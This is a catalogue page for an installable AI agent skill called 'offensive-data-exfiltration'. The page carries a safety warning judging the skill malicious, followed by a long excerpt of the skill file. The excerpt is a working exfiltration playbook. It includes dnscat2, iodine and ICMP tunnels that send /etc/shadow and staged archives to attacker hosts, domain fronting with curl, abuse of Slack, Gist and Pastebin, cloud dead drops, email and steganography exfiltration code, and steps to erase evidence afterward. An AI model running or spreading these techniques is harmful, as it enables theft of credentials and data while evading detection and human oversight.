offensive-data-exfiltration
Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS,…
Install / Use
npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltrationInstalls into whichever agent you are using.
SKILL.md
Installable skill definition
Quality Score
Category
CommunicationSupported Platforms
Our assessment of offensive-data-exfiltration
offensive-data-exfiltration scores 96/100 on our quality scale, 44th of 394 Communication skills we index (top 12%).
Its SKILL.md is 19 KB long, well organised into 62 sections with 37 code examples: a thorough specification that gives an agent plenty to work with.
With 6,850 GitHub stars, it is one of the more widely adopted skills in the catalogue.
Maintenance, license and trust
- The repository was last updated about 2 months ago, so offensive-data-exfiltration is actively maintained.
- Our last check on 2026-11-15 found the source still online.
- It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
- Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.
Safety scan
WarningOur pattern rules found nothing in the whole file, but two independent AI reviews judged it malicious: The skill file instructs the agent to perform data exfiltration via DNS, HTTPS, ICMP, cloud dead drops, email, and steganography, including copying /etc/shadow and SSH private keys and transmitting them to attacker-controlled infrastructure. Do not install offensive-data-exfiltration.
AI review: malicious
- The skill file instructs the agent to perform data exfiltration via DNS, HTTPS, ICMP, cloud dead drops, email, and steganography, including copying /etc/shadow and SSH private keys and transmitting them to attacker-controlled infrastructure
- It directs the agent to hide actions through encryption, innocuous staging directories, scheduled tasks/cron jobs, domain fronting, and secure deletion of evidence.
- It includes covert-channel and evasion techniques (timing channels, HTTP header encoding, IP ID field encoding, JA3 fingerprint matching) designed to bypass detection and exfiltrate data stealthily.
AI review by kimi-k2.7-code with a second opinion from glm-5.3 on 2026-09-26. Automated pattern scan on 2026-09-26. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.
offensive-data-exfiltration compared with similar skills
All 4 of these similar skills score higher than offensive-data-exfiltration; compare them before choosing.
| Skill | Score | Stars | Updated | Format |
|---|---|---|---|---|
| offensive-data-exfiltration (this skill)by SnailSploit | 96 | 6.8k | 58d ago | SKILL.md |
| taste-skillby Leonxlnx | 100 | 116.8k | 8d ago | CLAUDE.md |
| Agent-Reachby Panniantong | 100 | 112.3k | 8d ago | CLAUDE.md |
| LocalAIby mudler | 100 | 50.4k | today | MCP Server |
| x402by browser-use | 100 | 121.0k | 3d ago | SKILL.md |
Frequently asked questions
- How do I install offensive-data-exfiltration?
- Run
npx skills add SnailSploit/Claude-Red --skill offensive-data-exfiltration. The install tabs above show the steps for each supported agent. - Which AI agents does offensive-data-exfiltration work with?
- It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
- Is offensive-data-exfiltration safe to use?
- Our pattern rules found nothing in the whole file, but two independent AI reviews judged it malicious: The skill file instructs the agent to perform data exfiltration via DNS, HTTPS, ICMP, cloud dead drops, email, and steganography, including copying /etc/shadow and SSH private keys and transmitting them to attacker-controlled infrastructure. Do not install offensive-data-exfiltration. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
- Is offensive-data-exfiltration still maintained?
- The repository was last updated about 2 months ago, so offensive-data-exfiltration is actively maintained.
Skill content
View source on GitHubname: offensive-data-exfiltration description: "Dense methodology covering DNS exfiltration (dnscat2, iodine, dns2tcp), HTTPS tunneling (domain fronting, CDN abuse, legitimate service channels), ICMP tunneling (icmpsh, ptunnel-ng), cloud storage dead drops (S3 presigned URLs, Azure Blob SAS tokens, GCS signed URLs), email-based exfil (SMTP, EWS, draft method), steganography (image, audio, document metadata), encoding/encryption (base64 chunking, XOR, AES), covert channels (custom protocol tunneling, HTTP header encoding, timing channels), and data staging (compression, splitting, encryption). Tools: dnscat2, iodine, dns2tcp, PacketWhisper, chisel, stunnel, icmpsh, ptunnel-ng, steghide, zsteg, OpenStego. MITRE ATT&CK: T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), T1029 (Scheduled Transfer), T1030 (Data Transfer Size Limits), T1132 (Data Encoding), T1001 (Data Obfuscation). Use when planning or executing data exfiltration during authorized red team engagements or post-exploitation."
Data Exfiltration -- Offensive Methodology
Quick Workflow
- Inventory target data. Map files, databases, credentials. Assess volume and classification.
- Stage. Copy to a controlled directory. Strip unnecessary metadata and deduplicate.
- Compress and split. Tar/zip, then chunk for your channel (DNS < 253 bytes/label; HTTPS tolerates MB).
- Encrypt. AES-256-GCM or ChaCha20 every chunk. Never exfiltrate plaintext.
- Select channel. DNS (port 53 only), HTTPS (web allowed), ICMP (ping allowed), cloud (SaaS access).
- Transmit. Slow-drip for stealth; burst when you have a short window. Match baseline traffic rates.
- Verify receipt. Recompute SHA-256 on the receiving end and compare against source manifest.
- Clean up. Securely delete staging, temp files, dropped tools, and any scheduled tasks.
DNS Exfiltration
MITRE: T1048.003 -- Exfiltration Over Alternative Protocol: DNS
dnscat2
# Server -- set NS record for exfil.yourdomain.com -> your_server_ip first
ruby dnscat2.rb exfil.yourdomain.com --secret=YourSharedSecret
# Client on target
./dnscat --dns=domain:exfil.yourdomain.com --secret=YourSharedSecret
# Server console -- file transfer
session -i 1
download /etc/shadow /tmp/loot/shadow
# Force CNAME queries to avoid TXT-based detection
./dnscat --dns="domain=exfil.yourdomain.com,type=CNAME" --secret=YourSharedSecret
iodine Tunneling
# Server (authoritative NS)
iodined -f -c -P ExfilPassword 10.0.0.1 tunnel.yourdomain.com
# Client -- creates dns0 interface at 10.0.0.2
iodine -f -P ExfilPassword tunnel.yourdomain.com
scp /tmp/staged.tar.enc attacker@10.0.0.1:/loot/
dns2tcp
# Server (/etc/dns2tcpd.conf): domain = exfil.yourdomain.com, resources = ssh:127.0.0.1:22
dns2tcpd -f /etc/dns2tcpd.conf
# Client -- tunnel SSH over DNS
dns2tcpc -r ssh -z exfil.yourdomain.com -l 2222 -d 1
ssh -p 2222 attacker@127.0.0.1
TXT/CNAME Record Encoding
import base64, dns.resolver
def dns_exfil(data, domain, chunk_size=60):
encoded = base64.b32encode(data).decode()
for seq, i in enumerate(range(0, len(encoded), chunk_size)):
query = f"{seq}.{encoded[i:i+chunk_size]}.data.{domain}"
try: dns.resolver.resolve(query, "TXT")
except Exception: pass # data is in the query itself
Slow-Drip DNS
import random, time, base64, dns.resolver
def slow_drip_exfil(data, domain, min_delay=30, max_delay=120):
encoded = base64.b32encode(data).decode()
for seq, i in enumerate(range(0, len(encoded), 60)):
query = f"{seq}.{encoded[i:i+60]}.d.{domain}"
try: dns.resolver.resolve(query, "A")
except Exception: pass
time.sleep(random.uniform(min_delay, max_delay))
PacketWhisper exfiltrates via DNS without owning a server -- encodes data as queries captured from a PCAP: python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1.
HTTPS Tunneling
MITRE: T1041 -- Exfiltration Over C2 Channel; T1071.001 -- Web Protocols
stunnel
Server wraps a port 8080 listener in TLS on 443. Client: stunnel -c -d 127.0.0.1:9090 -r attacker.com:443, then cat /tmp/staged.tar.enc | ncat 127.0.0.1 9090.
Domain Fronting via CDN
# Outer SNI = legitimate-site.azureedge.net; inner Host = your collection server
curl -s -H "Host: your-collection.azureedge.net" \
--data-binary @/tmp/staged.tar.enc https://legitimate-site.azureedge.net/upload
# chisel full tunnel behind CDN
chisel server --port 443 --reverse --auth user:pass # server side
chisel client --header "Host: your-collection.azureedge.net" \
https://legitimate-cdn-domain.com R:socks # client side
Legitimate Service Abuse
# Slack webhook
curl -X POST -H 'Content-type: application/json' \
--data "{\"text\":\"$(base64 /tmp/chunk_001.enc)\"}" \
https://hooks.slack.com/services/T00/B00/XXX
# GitHub Gist -- private gist per chunk
import requests, base64
def gist_exfil(data, token):
requests.post("https://api.github.com/gists",
json={"public": False, "files": {"d.txt": {"content": base64.b64encode(data).decode()}}},
headers={"Authorization": f"token {token}"})
# Pastebin API from Windows
$data = [Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\staged\data.enc"))
Invoke-RestMethod -Uri "https://pastebin.com/api/api_post.php" -Method POST -Body @{
api_dev_key="KEY"; api_option="paste"; api_paste_code=$data; api_paste_private="2"}
ICMP Tunneling
MITRE: T1048.003 -- Non-Application Layer Protocol
icmpsh
# Attacker
sysctl -w net.ipv4.icmp_echo_ignore_all=1
python3 icmpsh_m.py attacker_ip target_ip
Target (Windows): icmpsh.exe -t attacker_ip -d 500 -b 30 -s 128
ptunnel-ng
ptunnel-ng -r0.0.0.0 -R22 # server (attacker)
ptunnel-ng -p attacker_ip -l 2222 -r 127.0.0.1 -R 22 # client (target)
scp -P 2222 /tmp/staged.tar.enc attacker@127.0.0.1:/loot/
Raw ICMP Embedding
import struct, socket
def icmp_exfil(data, dest_ip, chunk_size=48):
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
for seq, i in enumerate(range(0, len(data), chunk_size)):
chunk = data[i:i+chunk_size]
hdr = struct.pack("!BBHHH", 8, 0, 0, 0x1337, seq)
pkt = hdr + chunk
s = sum(struct.unpack("!%dH" % (len(pkt)//2), pkt[:len(pkt)&~1]))
if len(pkt) % 2: s += pkt[-1] << 8
s = (s >> 16) + (s & 0xFFFF); s += s >> 16
hdr = struct.pack("!BBHHH", 8, 0, ~s & 0xFFFF, 0x1337, seq)
sock.sendto(hdr + chunk, (dest_ip, 0))
sock.close()
Keep payloads under 64 bytes to match standard ping. Larger payloads increase throughput but trigger IDS.
Cloud Storage Dead Drops
MITRE: T1567.002 -- Exfiltration to Cloud Storage
S3 Presigned URLs
import boto3
def s3_upload_url(bucket, key, expiry=3600):
return boto3.client("s3").generate_presigned_url(
"put_object", Params={"Bucket": bucket, "Key": key}, ExpiresIn=expiry)
curl -X PUT -T /tmp/staged.tar.enc "https://bucket.s3.amazonaws.com/drop/d.enc?X-Amz-Algorithm=..."
Azure Blob SAS Tokens
$ctx = New-AzStorageContext -StorageAccountName "exfilacct" -StorageAccountKey "..."
$sas = New-AzStorageBlobSASToken -Container "drops" -Blob "d.enc" -Permission w `
-ExpiryTime (Get-Date).AddHours(2) -Context $ctx
Invoke-RestMethod -Uri "https://exfilacct.blob.core.windows.net/drops/d.enc$sas" `
-Method PUT -Headers @{"x-ms-blob-type"="BlockBlob"} -InFile "C:\staged\data.enc"
GCS Signed URLs
from google.cloud import storage
import datetime
def gcs_upload_url(bucket_name, blob_name, minutes=60):
blob = storage.Client().bucket(bucket_name).blob(blob_name)
return blob.generate_signed_url(version="v4", method="PUT",
expiration=datetime.timedelta(minutes=minutes), content_type="application/octet-stream")
Presigned URLs need no credentials on the target. Rotate buckets between drops.
Email-Based Exfiltration
MITRE: T1048.002 -- Asymmetric Encrypted Non-C2 Protocol
SMTP
import smtplib
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email import encoders
def smtp_exfil(filepath, server, from_addr, to_addr, password):
msg = MIMEMultipart(); msg["From"]=from_addr; msg["To"]=to_addr; msg["Subject"]="Q3 Report"
with open(filepath, "rb") as f:
part = MIMEBase("application", "octet-stream"); part.set_payload(f.read())
encoders.encode_base64(part)
part.add_header("Content-Disposition", "attachment; filename=report.xlsx")
msg.attach(part)
with smtplib.SMTP_SSL(server, 465) as s: s.login(from_addr, password); s.send_message(msg)
Exchange Web Services
from exchangelib import Credentials, Account, FileAttachment, Message
def ews_exfil(filepath, email, password, recipient):
account = Account(email, credentials=Credentials(email, password), autodiscover=True)
with open(filepath, "rb") as f:
att = FileAttachment(name="data.xlsx", content=f.read())
m = Message(account=account, subject="Updated Spreadsheet", to_recipients=[recipient])
m.attach(att); m.send()
Draft Method
Store data in drafts -- no email transits the network, no sent-mail evidence:
from exchangelib import Account, Credentials, Message
def draft_exfil(data_b64, email, password):
account = Account(email, credentials=Credentials(email, password), autodiscover=True)
Message(account=account, subject="", body=data_b64, is_draft=True).save(account.drafts)
Steganography
MITRE: T1001.002 -- Data Obfuscation: Steganography
Image
steghide embed -cf carrier.jpg -ef secret.enc -p "Pass" -f # JPEG/BMP
steghide extract -sf carrier.jpg -p "Pass" -xf out.enc
zsteg carrier.png # PNG analysis
openstego embed -mf secret.enc -cf cover.png -sf stego.png -p "Pass"
from PIL import Image
import struct
def lsb_embed(cover_path, data, output_path):
img = Image.open(cover_path); pixels = list(img.getdata())
payload = struct.pack(">I", len(data)) + data
bits = []
for byte in payload:
for i in range(7, -1, -1): bits.append((byte >> i) & 1)
if len(bits) > len(pixels) * 3: raise ValueError("Payload too large")
idx = 0; new_pixels = []
for px in pixels:
np = list(px)
for c in range(min(3, len(np))):
if idx < len(bits): np[c] = (np[c] & 0xFE) | bits[idx]; idx += 1
new_pixels.append(tuple(np))
out = Image.new(img.mode, img.size); out.putdata(new_pixels); out.save(output_path)
Audio
import wave, struct
def wav_lsb_embed(cover_wav, data, output_wav):
with wave.open(cover_wav, "rb") as w:
params = w.getparams(); frames = bytearray(w.readframes(w.getnframes()))
payload = struct.pack(">I", len(data)) + data
bits = []
for byte in payload:
for i in range(7, -1, -1): bits.append((byte >> i) & 1)
for i, bit in enumerate(bits): frames[i] = (frames[i] & 0xFE) | bit
with wave.open(output_wav, "wb") as w: w.setparams(params); w.writeframes(bytes(frames))
Document Metadata
exiftool -Comment="$(base64 secret.enc)" carrier.jpg # EXIF embed
cat carrier.jpg secret.enc > output.jpg # append after FFD9
from PyPDF2 import PdfReader, PdfWriter
def pdf_metadata_exfil(pdf_path, data_b64, output_path):
reader = PdfReader(pdf_path); writer = PdfWriter()
for page in reader.pages: writer.add_page(page)
chunks = [data_b64[i:i+1000] for i in range(0, len(data_b64), 1000)]
writer.add_metadata({f"/Custom{i:04d}":
Truncated for display — read the full file on GitHub.
Related Skills
taste-skill
116.8kAgent skills that give coding agents taste: art direction, reference images and a browser check instead of generic AI pages
Agent-Reach
112.3kGive your AI agent eyes to see the entire internet. Read & search Twitter, Reddit, YouTube, GitHub, Bilibili, XiaoHongShu — one CLI, zero API fees.
LocalAI
50.4kLocalAI is the open-source AI engine. Run any model - LLMs, vision, voice, image, video - on any hardware. No GPU required.
x402
121.0kSet up Browser Use Cloud payments with x402 — pay per request from a crypto wallet (USDC on Base mainnet), no signup or API key.
Languages
Trust signals
From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.
